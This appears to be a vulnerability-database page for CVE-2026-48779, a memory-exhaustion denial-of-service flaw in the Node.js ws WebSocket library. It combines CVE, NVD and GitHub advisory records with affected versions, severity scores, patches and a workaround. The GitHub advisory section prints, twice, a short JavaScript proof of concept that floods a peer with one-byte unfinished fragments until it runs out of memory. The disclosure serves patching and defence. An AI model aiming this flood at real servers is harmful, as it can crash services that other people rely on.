deployment, applicability to widespread installation base or stability.\"}], \"x_generator\": {\"engine\": \"sadp-cli 1.0.0\"}, \"descriptions\": [{\"lang\": \"en\", \"value\": \"A flaw was found in ws, an open source WebSocket client and server. A remote attacker can exploit this memory exhaustion vulnerability by sending a high volume of exceptionally small fragments and data chunks. This action forces the affected component to allocate and hold structural wrappers that consume excessive memory. Consequently, this leads to process termination and a denial of service (DoS) for the remote peer.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-1050\", \"description\": \"Excessive Platform Resource Consumption within a Loop\"}]}], \"providerMetadata\": {\"orgId\": \"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\", \"shortName\": \"redhat-SADP\", \"dateUpdated\": \"2026-07-02T12:05:02.554Z\"}}, {\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-48779\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"yes\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-06-17T18:07:28.748295Z\"}}}], \"references\": [{\"url\": \"https://github.com/websockets/ws/security/advisories/GHSA-96hv-2xvq-fx4p\", \"tags\": [\"exploit\"]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-06-17T18:07:47.408Z\"}}], \"cna\": {\"title\": \"ws: Memory exhaustion DoS from tiny fragments and data chunks\", \"source\": {\"advisory\": \"GHSA-96hv-2xvq-fx4p\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"UNCHANGED\", \"version\": \"3.1\", \"baseScore\": 7.5, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\", \"integrityImpact\": \"NONE\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"HIGH\", \"privilegesRequired\": \"NONE\", \"confidentialityImpact\": \"NONE\"}}], \"affected\": [{\"vendor\": \"websockets\", \"product\": \"ws\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003e= 1.1.0, \u003c 5.2.5\"}, {\"status\": \"affected\", \"version\": \"\u003e= 6.0.0, \u003c 6.2.4\"}, {\"status\": \"affected\", \"version\": \"\u003e= 7.0.0, \u003c 7.5.11\"}, {\"status\": \"affected\", \"version\": \"\u003e= 8.0.0, \u003c 8.21.0\"}]}], \"references\": [{\"url\": \"https://github.com/websockets/ws/security/advisories/GHSA-96hv-2xvq-fx4p\", \"name\": \"https://github.com/websockets/ws/security/advisories/GHSA-96hv-2xvq-fx4p\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7\", \"name\": \"https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53\", \"name\": \"https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94\", \"name\": \"https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8\", \"name\": \"https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"ws is an open source WebSocket client and server for Node.js. All versions from 1.1.0 up to (but not including) 5.2.5, from 6.0.0 up to 6.2.4, from 7.0.0 up to 7.5.11, and from 8.0.0 up to 8.21.0 are affected by a memory exhaustion DoS vulnerability. A peer can send a high volume of exceptionally small fragments and data chunks, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM. This issue has been fixed in versions 5.2.5, 6.2.4, 7.5.11, and 8.21.0.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-400\", \"description\": \"CWE-400: Uncontrolled Resource Consumption\"}]}, {\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-770\", \"description\": \"CWE-770: Allocation of Resources Without Limits or Throttling\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-06-16T21:26:22.537Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-48779\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-07-02T12:05:02.554Z\", \"dateReserved\": \"2026-05-22T20:18:20.365Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-06-16T21:26:22.537Z\", \"assignerShortName\": \"GitHub_M\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-48779

Vulnerability from fkie_nvd - Published: 2026-06-17 13:20 - Updated: 2026-07-02 12:17

Severity ?

7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7	Patch
security-advisories@github.com	https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53	Patch
security-advisories@github.com	https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94	Patch
security-advisories@github.com	https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8	Patch
security-advisories@github.com	https://github.com/websockets/ws/security/advisories/GHSA-96hv-2xvq-fx4p	Exploit, Mitigation, Patch, Vendor Advisory
0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://access.redhat.com/errata/RHSA-2026:29197
0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://access.redhat.com/errata/RHSA-2026:33155
0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://access.redhat.com/errata/RHSA-2026:33160
0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://access.redhat.com/errata/RHSA-2026:33163
0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://access.redhat.com/errata/RHSA-2026:33173
0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://access.redhat.com/errata/RHSA-2026:33183
0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://access.redhat.com/errata/RHSA-2026:33574
0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://access.redhat.com/errata/RHSA-2026:34342
0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://access.redhat.com/security/cve/CVE-2026-48779
0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://bugzilla.redhat.com/show_bug.cgi?id=2489661
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/websockets/ws/security/advisories/GHSA-96hv-2xvq-fx4p	Exploit, Mitigation, Patch, Vendor Advisory
0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48779.json

Impacted products

Vendor	Product	Version
ws_project	ws	*
ws_project	ws	*
ws_project	ws	*
ws_project	ws	*

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "ws",
          "vendor": "websockets",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 1.1.0, \u003c 5.2.5"
            },
            {
              "status": "affected",
              "version": "\u003e= 6.0.0, \u003c 6.2.4"
            },
            {
              "status": "affected",
              "version": "\u003e= 7.0.0, \u003c 7.5.11"
            },
            {
              "status": "affected",
              "version": "\u003e= 8.0.0, \u003c 8.21.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    },
    {
      "affectedData": [
        {
          "cpes": [
            "cpe:/a:redhat:cluster_observability_operator:1.5::el9"
          ],
          "defaultStatus": "affected",
          "product": "Cluster Observability Operator 1.5.0",
          "vendor": "Red Hat"
        },
        {
          "cpes": [
            "cpe:/a:redhat:rhdh:1.9::el9"
          ],
          "defaultStatus": "affected",
          "product": "Red Hat Developer Hub 1.9",
          "vendor": "Red Hat"
        },
        {
          "cpes": [
            "cpe:/a:redhat:discovery:2::el9"
          ],
          "defaultStatus": "affected",
          "product": "Red Hat Discovery 2",
          "vendor": "Red Hat"
        },
        {
          "cpes": [
            "cpe:/a:redhat:service_mesh:2.6::el8"
          ],
          "defaultStatus": "affected",
          "product": "Red Hat OpenShift Service Mesh 2.6",
          "vendor": "Red Hat"
        },
        {
          "cpes": [
            "cpe:/a:redhat:service_mesh:3.0::el9"
          ],
          "defaultStatus": "affected",
          "product": "Red Hat OpenShift Service Mesh 3.0",
          "vendor": "Red Hat"
        },
        {
          "cpes": [
            "cpe:/a:redhat:service_mesh:3.1::el9"
          ],
          "defaultStatus": "affected",
          "product": "Red Hat OpenShift Service Mesh 3.1",
          "vendor": "Red Hat"
        },
        {
          "cpes": [
            "cpe:/a:redhat:service_mesh:3.2::el9"
          ],
          "defaultStatus": "affected",
          "product": "Red Hat OpenShift Service Mesh 3.2",
          "vendor": "Red Hat"
        },
        {
          "cpes": [
            "cpe:/a:redhat:service_mesh:3.3::el9"
          ],
          "defaultStatus": "affected",
          "product": "Red Hat OpenShift Service Mesh 3.3",
          "vendor": "Red Hat"
        },
        {
          "cpes": [
            "cpe:/a:redhat:cryostat:4"
          ],
          "defaultStatus": "affected",
          "product": "Cryostat 4",
          "vendor": "Red Hat"
        },
        {
          "cpes": [
            "cpe:/a:redhat:gatekeeper:3"
          ],
          "defaultStatus": "affected",
          "product": "Gatekeeper 3",
          "vendor": "Red Hat"
        },
        {
          "cpes": [
            "cpe:/a:redhat:rhmt:1"
          ],
          "defaultStatus": "affected",
          "product": "Migration Toolkit for Containers",
          "vendor": "Red Hat"
        },
        {
          "cpes": [
            "cpe:/a:redhat:workload_availability_nhc:0"
          ],
          "defaultStatus": "affected",
          "product": "Node HealthCheck Operator",
          "vendor": "Red Hat"
        },
        {
          "cpes": [
            "cpe:/a:redhat:openshift_lightspeed"
          ],
          "defaultStatus": "affected",
          "product": "OpenShift Lightspeed",
          "vendor": "Red Hat"
        },
        {
          "cpes": [
            "cpe:/a:redhat:openshift_pipelines:1"
          ],
          "defaultStatus": "affected",
          "product": "OpenShift Pipelines",
          "vendor": "Red Hat"
        },
        {
          "cpes": [
            "cpe:/a:redhat:amq_broker:7"
          ],
          "defaultStatus": "affected",
          "product": "Red Hat AMQ Broker 7",
          "vendor": "Red Hat"
        },
        {
          "cpes": [
            "cpe:/a:redhat:ansible_automation_platform:2"
          ],
          "defaultStatus": "affected",
          "product": "Red Hat Ansible Automation Platform 2",
          "vendor": "Red Hat"
        },
        {
          "cpes": [
            "cpe:/a:redhat:apache_camel_hawtio:4"
          ],
          "defaultStatus": "affected",
          "product": "Red Hat build of Apache Camel - HawtIO 4",
          "vendor": "Red Hat"
        },
        {
          "cpes": [
            "cpe:/a:redhat:podman_desktop:1"
          ],
          "defaultStatus": "affected",
          "product": "Red Hat Build of Podman Desktop",
          "vendor": "Red Hat"
        },
        {
          "cpes": [
            "cpe:/a:redhat:podman_desktop:0"
          ],
          "defaultStatus": "affected",
          "product": "Red Hat Build of Podman Desktop - Tech Preview",
          "vendor": "Red Hat"
        },
        {
          "cpes": [
            "cpe:/a:redhat:connectivity_link:1"
          ],
          "defaultStatus": "affected",
          "product": "Red Hat Connectivity Link 1",
          "vendor": "Red Hat"
        },
        {
          "cpes": [
            "cpe:/o:redhat:enterprise_linux:10"
          ],
          "defaultStatus": "affected",
          "product": "Red Hat Enterprise Linux 10",
          "vendor": "Red Hat"
        },
        {
          "cpes": [
            "cpe:/o:redhat:enterprise_linux:8"
          ],
          "defaultStatus": "affected",
          "product": "Red Hat Enterprise Linux 8",
          "vendor": "Red Hat"
        },
        {
          "cpes": [
            "cpe:/o:redhat:enterprise_linux:9"
          ],
          "defaultStatus": "affected",
          "product": "Red Hat Enterprise Linux 9",
          "vendor": "Red Hat"
        },
        {
          "cpes": [
            "cpe:/a:redhat:enterprise_linux_ai:3"
          ],
          "defaultStatus": "affected",
          "product": "Red Hat Enterprise Linux AI (RHEL AI) 3",
          "vendor": "Red Hat"
        },
        {
          "cpes": [
            "cpe:/a:redhat:jboss_fuse:7"
          ],
          "defaultStatus": "affected",
          "product": "Red Hat Fuse 7",
          "vendor": "Red Hat"
        },
        {
          "cpes": [
            "cpe:/a:redhat:hummingbird:1"
          ],
          "defaultStatus": "affected",
          "product": "Red Hat Hardened Images",
          "vendor": "Red Hat"
        },
        {
          "cpes": [
            "cpe:/a:redhat:openshift_ai"
          ],
          "defaultStatus": "affected",
          "product": "Red Hat OpenShift AI (RHOAI)",
          "vendor": "Red Hat"
        },
        {
          "cpes": [
            "cpe:/a:redhat:openshift:4"
          ],
          "defaultStatus": "affected",
          "product": "Red Hat OpenShift Container Platform 4",
          "vendor": "Red Hat"
        },
        {
          "cpes": [
            "cpe:/a:redhat:openshift_data_foundation:4"
          ],
          "defaultStatus": "affected",
          "product": "Red Hat Openshift Data Foundation 4",
          "vendor": "Red Hat"
        },
        {
          "cpes": [
            "cpe:/a:redhat:openshift_devspaces:3"
          ],
          "defaultStatus": "affected",
          "product": "Red Hat OpenShift Dev Spaces",
          "vendor": "Red Hat"
        },
        {
          "cpes": [
            "cpe:/a:redhat:container_native_virtualization:4"
          ],
          "defaultStatus": "affected",
          "product": "Red Hat OpenShift Virtualization 4",
          "vendor": "Red Hat"
        },
        {
          "cpes": [
            "cpe:/a:redhat:quay:3"
          ],
          "defaultStatus": "affected",
          "product": "Red Hat Quay 3",
          "vendor": "Red Hat"
        },
        {
          "cpes": [
            "cpe:/a:redhat:satellite:6"
          ],
          "defaultStatus": "affected",
          "product": "Red Hat Satellite 6",
          "vendor": "Red Hat"
        },
        {
          "cpes": [
            "cpe:/a:redhat:trusted_artifact_signer:1"
          ],
          "defaultStatus": "affected",
          "product": "Red Hat Trusted Artifact Signer",
          "vendor": "Red Hat"
        },
        {
          "cpes": [
            "cpe:/a:redhat:ansible_portal:2"
          ],
          "defaultStatus": "affected",
          "product": "Self-service automation portal 2",
          "vendor": "Red Hat"
        },
        {
          "cpes": [
            "cpe:/a:redhat:service_mesh:3"
          ],
          "defaultStatus": "unaffected",
          "product": "OpenShift Service Mesh 3",
          "vendor": "Red Hat"
        },
        {
          "cpes": [
            "cpe:/a:redhat:camel_spring_boot:4"
          ],
          "defaultStatus": "unaffected",
          "product": "Red Hat build of Apache Camel for Spring Boot 4",
          "vendor": "Red Hat"
        },
        {
          "cpes": [
            "cpe:/a:redhat:build_keycloak:"
          ],
          "defaultStatus": "unaffected",
          "product": "Red Hat Build of Keycloak",
          "vendor": "Red Hat"
        },
        {
          "cpes": [
            "cpe:/a:redhat:jboss_data_grid:8"
          ],
          "defaultStatus": "unaffected",
          "product": "Red Hat Data Grid 8",
          "vendor": "Red Hat"
        },
        {
          "cpes": [
            "cpe:/a:redhat:jboss_enterprise_application_platform:8"
          ],
          "defaultStatus": "unaffected",
          "product": "Red Hat JBoss Enterprise Application Platform 8",
          "vendor": "Red Hat"
        },
        {
          "cpes": [
            "cpe:/a:redhat:jbosseapxp"
          ],
          "defaultStatus": "unaffected",
          "product": "Red Hat JBoss Enterprise Application Platform Expansion Pack",
          "vendor": "Red Hat"
        }
      ],
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:ws_project:ws:*:*:*:*:*:node.js:*:*",
              "matchCriteriaId": "0996A87C-D0FF-4A0D-946F-172476CE8742",
              "versionEndExcluding": "5.2.5",
              "versionStartIncluding": "1.1.0",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:ws_project:ws:*:*:*:*:*:node.js:*:*",
              "matchCriteriaId": "DE37962C-D077-4D0E-A9C4-4E6F6C62F80F",
              "versionEndExcluding": "6.2.4",
              "versionStartIncluding": "6.0.0",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:ws_project:ws:*:*:*:*:*:node.js:*:*",
              "matchCriteriaId": "6220326D-EDFB-451F-AE2F-303CDA363061",
              "versionEndExcluding": "7.5.11",
              "versionStartIncluding": "7.0.0",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:ws_project:ws:*:*:*:*:*:node.js:*:*",
              "matchCriteriaId": "1EE3B45F-FC9D-485E-9731-AC93F3730B40",
              "versionEndExcluding": "8.21.0",
              "versionStartIncluding": "8.0.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "ws is an open source WebSocket client and server for Node.js. All versions from 1.1.0 up to (but not including) 5.2.5, from 6.0.0 up to 6.2.4, from 7.0.0 up to 7.5.11, and from 8.0.0 up to 8.21.0 are affected by a memory exhaustion DoS vulnerability. A peer can send a high volume of exceptionally small fragments and data chunks, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM. This issue has been fixed in versions 5.2.5, 6.2.4, 7.5.11, and 8.21.0."
    }
  ],
  "id": "CVE-2026-48779",
  "lastModified": "2026-07-02T12:17:29.653",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-48779",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-06-17T18:07:28.748295Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-06-17T13:20:42.887",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Mitigation",
        "Patch",
        "Vendor Advisory"
      ],
      "url": "https://github.com/websockets/ws/security/advisories/GHSA-96hv-2xvq-fx4p"
    },
    {
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "url": "https://access.redhat.com/errata/RHSA-2026:29197"
    },
    {
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "url": "https://access.redhat.com/errata/RHSA-2026:33155"
    },
    {
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "url": "https://access.redhat.com/errata/RHSA-2026:33160"
    },
    {
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "url": "https://access.redhat.com/errata/RHSA-2026:33163"
    },
    {
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "url": "https://access.redhat.com/errata/RHSA-2026:33173"
    },
    {
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "url": "https://access.redhat.com/errata/RHSA-2026:33183"
    },
    {
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "url": "https://access.redhat.com/errata/RHSA-2026:33574"
    },
    {
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "url": "https://access.redhat.com/errata/RHSA-2026:34342"
    },
    {
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "url": "https://access.redhat.com/security/cve/CVE-2026-48779"
    },
    {
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2489661"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Mitigation",
        "Patch",
        "Vendor Advisory"
      ],
      "url": "https://github.com/websockets/ws/security/advisories/GHSA-96hv-2xvq-fx4p"
    },
    {
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48779.json"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Modified",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-400"
        },
        {
          "lang": "en",
          "value": "CWE-770"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    },
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-1050"
        }
      ],
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "type": "Secondary"
    }
  ]
}

GHSA-96HV-2XVQ-FX4P

Vulnerability from github – Published: 2026-06-15 16:34 – Updated: 2026-06-15 16:34

Summary

ws: Memory exhaustion DoS from tiny fragments and data chunks

Details

Impact

A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.

Proof of concept

import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer({ port: 0 }, function () {
  const data = Buffer.alloc(1);
  const options = { fin: false };
  const { port } = wss.address();
  const ws = new WebSocket(`ws://localhost:${port}`);

  ws.on('open', function () {
    (function send() {
      ws.send(data, options, function (err) {
        if (err) return;
        send();
      });
    })();
  });

  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`client close - code: ${code} reason: ${reason.toString()}`);
  });
});

wss.on('connection', function (ws) {
  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`server close - code: ${code} reason: ${reason.toString()}`);
  });
});

Patches

The vulnerability was fixed in ws@8.21.0 (https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94) and backported to ws@7.5.11 (https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8), ws@6.2.4 (https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7), and ws@5.2.5 (https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53).

Workarounds

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

Credits

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

Severity ?

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "ws"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.1.0"
            },
            {
              "fixed": "5.2.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "ws"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0"
            },
            {
              "fixed": "6.2.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "ws"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.5.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "ws"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.21.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48779"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-15T16:34:23Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Impact\n\nA high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.\n\n### Proof of concept\n\n```js\nimport { WebSocket, WebSocketServer } from \u0027ws\u0027;\n\nconst wss = new WebSocketServer({ port: 0 }, function () {\n  const data = Buffer.alloc(1);\n  const options = { fin: false };\n  const { port } = wss.address();\n  const ws = new WebSocket(`ws://localhost:${port}`);\n\n  ws.on(\u0027open\u0027, function () {\n    (function send() {\n      ws.send(data, options, function (err) {\n        if (err) return;\n        send();\n      });\n    })();\n  });\n\n  ws.on(\u0027error\u0027, console.error);\n  ws.on(\u0027close\u0027, function (code, reason) {\n    console.log(`client close - code: ${code} reason: ${reason.toString()}`);\n  });\n});\n\nwss.on(\u0027connection\u0027, function (ws) {\n  ws.on(\u0027error\u0027, console.error);\n  ws.on(\u0027close\u0027, function (code, reason) {\n    console.log(`server close - code: ${code} reason: ${reason.toString()}`);\n  });\n});\n```\n\n### Patches\n\nThe vulnerability was fixed in ws@8.21.0 (https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94) and backported to ws@7.5.11 (https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8), ws@6.2.4 (https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7), and ws@5.2.5 (https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53).\n\n### Workarounds\n\nIn vulnerable versions, the issue can be mitigated by lowering the value of the `maxPayload` option if possible.\n\n### Credits\n\nThe vulnerability was responsibly disclosed and fixed by [Nadav Magier](https://github.com/Nadav0077).",
  "id": "GHSA-96hv-2xvq-fx4p",
  "modified": "2026-06-15T16:34:23Z",
  "published": "2026-06-15T16:34:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/websockets/ws/security/advisories/GHSA-96hv-2xvq-fx4p"
    },
    {
      "type": "WEB",
      "url": "https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53"
    },
    {
      "type": "WEB",
      "url": "https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94"
    },
    {
      "type": "WEB",
      "url": "https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/websockets/ws"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ws: Memory exhaustion DoS from tiny fragments and data chunks"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-48779 (GCVE-0-2026-48779)

FKIE_CVE-2026-48779

GHSA-96HV-2XVQ-FX4P

Impact

Proof of concept

Patches

Workarounds

Credits

Tags

Sightings

Nomenclature